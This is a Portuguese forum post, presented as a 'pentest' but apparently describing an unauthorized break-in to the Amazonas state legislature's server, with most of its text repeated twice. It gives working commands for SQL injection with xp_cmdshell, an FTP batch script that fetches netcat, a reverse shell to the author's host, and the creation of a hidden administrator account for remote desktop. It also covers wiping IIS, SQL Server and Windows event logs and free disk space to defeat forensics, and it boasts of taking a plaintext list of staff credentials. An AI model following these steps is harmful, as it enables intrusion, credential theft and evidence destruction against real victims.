Olá pessoal, hoje decide reportar um pentest que eu fiz para voces, hoje dia 4/4/2011 com inicio as 4:45 da madrugada e finalizado as 6:03 da manhã.
Primeiro escolhi um alvo para testar umas tecnicas de execução de código via xp_cmdshell por sql injection.
Alvo:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Descrisão: Assembleia Legislativa do Estado do Amazonas, servidor governamental.
Area Vulneravel:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Campo: id
Vunerabilidade: get sql injection
Após achar o site vulneravel, procedi sua exploração, fazer isso manualmente seria muito demorado, então resolvi utilizar uma ferramenta para automatizar a exploração. Utilizei o metasploit, mas existem milhares de outras ferramentas bem melhores como sqlmap, kerenci ou havij.
Explorando rapidamente consegui executar comandos de shell no sistema operacional, logo observei que o mssql estava rodando com o user system =D. Tendo acesso a shell precisava upar uma backdoor para ter um acesso melhor ao sistema, então pensei no netcat, mas como uparia ele? FTP!
Isso mesmo, mas já que só posso executar uma linha de comando na shell, como posso me logar num ftp, baixar e depois executar?
Respondendo:
Crie um script .bat para isso, a seguir a sequencia dos comandos:
Apos isso o que fiz? Executei o ftp.bat ? Não, a shell de comando não interpreta o contéudo diretamente, sendo necessário executar parametros especificos do própio ftp, segue os comandos:
H:\Windows\System32>ftp -i -n -v -s ftp.bat
O diretorio do sistema neste servidor era H e não C, assim ele baixou o netcat para a pasta system 32, apos isso foi só da um:
nc -e cmd.exe meuip 53
E no meu computador ouvindo na porta 53, logo aparece:
Oba tenho acesso a uma shell de verdade =D
Agora quero acesso ao remote desktop para completar, mas como faço isso?
Primeiro crie um usuario:
H:\windows\system32>net user shadow senha /add
Comando concluído com êxito.
Adicione o mesmo ao grupo de administradores para obter privilégios do mesmo.
H:\windows\system32>net localgroup administradores shadow /add
Comando concluído com êxito.
H:\windows\system32>net localgroup "Usuários da área de trabalho
remota" shadow /add
Apos isso percebi que não dava para acessa o remote desktop pelo "www.aleam.gov.br", então utilizei o comando netsh firewall
pra abrir a porta da area remota mas mesmo assim não funcionou, e agora? Então dei um "ipconfig /all" e percebe que o ip
desse servidor não batia com o mesmo ip do DNS Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., ae saquei que o servidor de DNS estava instalado na mesma
rede e era para onde estava me direcionado, la ele fazia a conexão para o servidor onde está as pastas do site e o banco de dados, que é o que eu tenho acesso, então só peguei o ip real do servidor sem ser o do servidor de DNS e acessei, sucesso!
Apos isso, tinha que apagar os logs, instalar backdoors e explorar a rede.
Vamos lah, primeiro nos logs, para eu poder apagar os logs tinha que saber quais serviços estão rodando e onde tão gravando os logs, então no cmd dei um netstat, aqui o resultado:
H:\Documents and Settings\shadow>net start
Comando concluído com êxito.
H:\Documents and Settings\shadow>
Nesta lista reparei nos:
Firewall - Pois tem logs.
LogMeIn - Serviço de Acesso remoto possivelmente utilizado pelo admin, posso usar como backdoor.
MSSQLSERVER - Esse tem logs das execuções de comandos e das minhas consultas feitas por Sql Injection.
Serviços do Windows - Esse guarda log de tudo
Vamos lá, o primeiro a eu olhar foi o firewall, de bate com a cara na porta, ops quer dizer a porta tava escancarada na verdade, tava desativado, então eu o ativei e o configurei.
O LogMein eu estou a procura de um jeito de dar dump nas senhas, igual no vnc que la tem tamben, mas não estpa executando.
O SqlServer eu abrir o "Enterprise Manager" fui abrindo as configuraçoes quando cheguei a do sql peguei o caminho onde ficava os logs:
H:\Arquivos de programas\Microsoft SQL Server\MSSQL\LOG
Claro não posso apagar o logs, pois o sql server está sendo utilizo por eles, ainda mais que eu estava mexendo direto por ele, então abrir o cmd e digitei:
H:\Documents and Settings\shadow>net stop MSSQLSERVER
O serviço de MSSQLSERVER está sendo finalizado .
O serviço de MSSQLSERVER foi finalizado com êxito.
H:\Documents and Settings\shadow>
Mexendo um pouco no banco de dados rapido achei o erro do administrador:
Com rapidas consultas no banco de dados consegui uma lista de mais de 50 usuarios da assempleia legislativa do amazonas:
Sem nenhum tipo de criptografia nem nada, isso na mão de uma pessoa mal intencionada vale ouro.
Apois isso também tive que apaga os logs do IIS, claro, então primeiro eu parei o servico dando o comando:
net stop w3svc (nome do serviço do IIS)
Depois fui na pasta "H:\WINDOWS\system32\LogFiles" e apaguei tudo que la tinha. Depois reativei o serviço com o comando:
net start w3svc
Apois isso fui nos evendos do windows nas ferramentas administrativas e apagei todos eventos e diminuir o tamanho dos eventos para 64 k, quer dizer não grava praticamente nada.
Após tudo isso, ter mantido acesso, apagado logs, vocês acham que conseguem me localizar? Sim, pois os logs são recuperaveis,
mas como faço para apagar definitivamente? Existe programas para isso, a maioria dos programas de criptografia tem opção de limpar espaço free do computador, como o pgp, mas já que o admin tinha o ccleaner no servidor utilzei ele mesmo para apaga o espaço free do computador assim nem uma pericia consegue recuperar.
Dexei ele rodando um bom tempo, esse server ta praticamente abandonado, igual muitos estados do brasil.
È isso ae pessoal, depois disso posso durmi em paz sem medo da policia, para os espertinhos que espera acesso o servidor desativei a opçao de execução de comando, só alguem com bom conhecimento em sql vai conseguir ativar ela via sql inejction, e se conseguir ainda deixei ela pra se caso for utilizada usar usuario sem permisão nenhuma, coloquei o antivirus pra scanear a system32 tamben a cada 30 segundos, quer dizer ... vai ser difico pra voçes, ainda mas que eu não postei o ip real dele neh?
Depois vou posta a segunda parte do pentest que é eu explorando um servidor fedora via esse windows que peguei, o fedora é o firewall e servidor DNS que só da pra acessa via rede interna.
Fiz o video ficou bem grande, se pah vou posta só na priv8, ficou cool ele =D
Ate mais, qualquer duvida só posta.
Primeiro escolhi um alvo para testar umas tecnicas de execução de código via xp_cmdshell por sql injection.
Alvo:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Descrisão: Assembleia Legislativa do Estado do Amazonas, servidor governamental.
Area Vulneravel:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Campo: id
Vunerabilidade: get sql injection
Após achar o site vulneravel, procedi sua exploração, fazer isso manualmente seria muito demorado, então resolvi utilizar uma ferramenta para automatizar a exploração. Utilizei o metasploit, mas existem milhares de outras ferramentas bem melhores como sqlmap, kerenci ou havij.
Explorando rapidamente consegui executar comandos de shell no sistema operacional, logo observei que o mssql estava rodando com o user system =D. Tendo acesso a shell precisava upar uma backdoor para ter um acesso melhor ao sistema, então pensei no netcat, mas como uparia ele? FTP!
Isso mesmo, mas já que só posso executar uma linha de comando na shell, como posso me logar num ftp, baixar e depois executar?
Respondendo:
Crie um script .bat para isso, a seguir a sequencia dos comandos:
Código:
echo open meuftp.com.br >> ftp.bat echo user meuuser >> f.bat echo passwd mypasswd >> ftp.bat echo binary >> ftp.bat echo get nc.exe >> ftp.bat echo quit >> ftp.bat
H:\Windows\System32>ftp -i -n -v -s ftp.bat
O diretorio do sistema neste servidor era H e não C, assim ele baixou o netcat para a pasta system 32, apos isso foi só da um:
nc -e cmd.exe meuip 53
E no meu computador ouvindo na porta 53, logo aparece:
Código:
C:\Documents and Settings\lucas>>nc -l -vv -p 53 listening on [any] 53 ... connect to [x.x.x.x] from ALEAM01 [x.x.x.x] 4939 Microsoft Windows [versão 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. H:\windows\system32>
Agora quero acesso ao remote desktop para completar, mas como faço isso?
Primeiro crie um usuario:
Código:
C:\Documents and Settings\lucas>>nc -l -vv -p 53 listening on [any] 53 ... connect to [x.x.x.x] from ALEAM01 [x.x.x.x] 4939 Microsoft Windows [versão 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp.
Comando concluído com êxito.
Adicione o mesmo ao grupo de administradores para obter privilégios do mesmo.
H:\windows\system32>net localgroup administradores shadow /add
Comando concluído com êxito.
H:\windows\system32>net localgroup "Usuários da área de trabalho
remota" shadow /add
Apos isso percebi que não dava para acessa o remote desktop pelo "www.aleam.gov.br", então utilizei o comando netsh firewall
pra abrir a porta da area remota mas mesmo assim não funcionou, e agora? Então dei um "ipconfig /all" e percebe que o ip
desse servidor não batia com o mesmo ip do DNS Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., ae saquei que o servidor de DNS estava instalado na mesma
rede e era para onde estava me direcionado, la ele fazia a conexão para o servidor onde está as pastas do site e o banco de dados, que é o que eu tenho acesso, então só peguei o ip real do servidor sem ser o do servidor de DNS e acessei, sucesso!
Apos isso, tinha que apagar os logs, instalar backdoors e explorar a rede.
Vamos lah, primeiro nos logs, para eu poder apagar os logs tinha que saber quais serviços estão rodando e onde tão gravando os logs, então no cmd dei um netstat, aqui o resultado:
H:\Documents and Settings\shadow>net start
Código:
Estes serviços do Windows foram iniciados: Agendador de tarefas Ajuda e suporte Armazenamento protegido Atualizações Automáticas Auxiliar NetBIOS TCP/IP Chamada de procedimento remoto (RPC) Cliente de rastreamento de link distribuído Cliente DNS Conexões de rede Configuração sem fio Coordenador de transações distribuídas Detecção do hardware do shell Erro ao informar o serviço Estação de trabalho Firewall do Windows/Compart. conexão c/ Internet (ICS) Fornecedor de suporte de segurança NT LM Gerenciador de conexão de acesso remoto Gerenciador de contas de segurança Gerenciador de discos lógicos HID Input Service Horário do Windows HTTP SSL Inicializador de Processo de Servidor DCOM Localizador de computadores Log de eventos LogMeIn LogMeIn Maintenance Service Logon secundário McAfee Framework McAfee McShield McAfee Task Manager Microsoft Search MSSQLSERVER Notificação de eventos de sistema Plug and Play Reconhecimento de local da rede (NLA) Registro remoto Server Serviço 'Gateway de camada de aplicativo' Serviço de administração do IIS Serviço de Busca de Experiência com Aplicativo Serviço de indexação Serviço de publicação na World Wide Web Serviços de criptografia Serviços de terminal Serviços IPSEC Sistema de Eventos de COM+ Spooler de impressão Telefonia Testador de instrumentação de gerenciam. do Windows Windows Search Áudio do Windows
H:\Documents and Settings\shadow>
Nesta lista reparei nos:
Firewall - Pois tem logs.
LogMeIn - Serviço de Acesso remoto possivelmente utilizado pelo admin, posso usar como backdoor.
MSSQLSERVER - Esse tem logs das execuções de comandos e das minhas consultas feitas por Sql Injection.
Serviços do Windows - Esse guarda log de tudo
Vamos lá, o primeiro a eu olhar foi o firewall, de bate com a cara na porta, ops quer dizer a porta tava escancarada na verdade, tava desativado, então eu o ativei e o configurei.
O LogMein eu estou a procura de um jeito de dar dump nas senhas, igual no vnc que la tem tamben, mas não estpa executando.
O SqlServer eu abrir o "Enterprise Manager" fui abrindo as configuraçoes quando cheguei a do sql peguei o caminho onde ficava os logs:
H:\Arquivos de programas\Microsoft SQL Server\MSSQL\LOG
Claro não posso apagar o logs, pois o sql server está sendo utilizo por eles, ainda mais que eu estava mexendo direto por ele, então abrir o cmd e digitei:
H:\Documents and Settings\shadow>net stop MSSQLSERVER
O serviço de MSSQLSERVER está sendo finalizado .
O serviço de MSSQLSERVER foi finalizado com êxito.
H:\Documents and Settings\shadow>
Mexendo um pouco no banco de dados rapido achei o erro do administrador:
Com rapidas consultas no banco de dados consegui uma lista de mais de 50 usuarios da assempleia legislativa do amazonas:
Sem nenhum tipo de criptografia nem nada, isso na mão de uma pessoa mal intencionada vale ouro.
Apois isso também tive que apaga os logs do IIS, claro, então primeiro eu parei o servico dando o comando:
net stop w3svc (nome do serviço do IIS)
Depois fui na pasta "H:\WINDOWS\system32\LogFiles" e apaguei tudo que la tinha. Depois reativei o serviço com o comando:
net start w3svc
Apois isso fui nos evendos do windows nas ferramentas administrativas e apagei todos eventos e diminuir o tamanho dos eventos para 64 k, quer dizer não grava praticamente nada.
Após tudo isso, ter mantido acesso, apagado logs, vocês acham que conseguem me localizar? Sim, pois os logs são recuperaveis,
mas como faço para apagar definitivamente? Existe programas para isso, a maioria dos programas de criptografia tem opção de limpar espaço free do computador, como o pgp, mas já que o admin tinha o ccleaner no servidor utilzei ele mesmo para apaga o espaço free do computador assim nem uma pericia consegue recuperar.
Dexei ele rodando um bom tempo, esse server ta praticamente abandonado, igual muitos estados do brasil.
È isso ae pessoal, depois disso posso durmi em paz sem medo da policia, para os espertinhos que espera acesso o servidor desativei a opçao de execução de comando, só alguem com bom conhecimento em sql vai conseguir ativar ela via sql inejction, e se conseguir ainda deixei ela pra se caso for utilizada usar usuario sem permisão nenhuma, coloquei o antivirus pra scanear a system32 tamben a cada 30 segundos, quer dizer ... vai ser difico pra voçes, ainda mas que eu não postei o ip real dele neh?
Depois vou posta a segunda parte do pentest que é eu explorando um servidor fedora via esse windows que peguei, o fedora é o firewall e servidor DNS que só da pra acessa via rede interna.
Fiz o video ficou bem grande, se pah vou posta só na priv8, ficou cool ele =D
Ate mais, qualquer duvida só posta.
Comment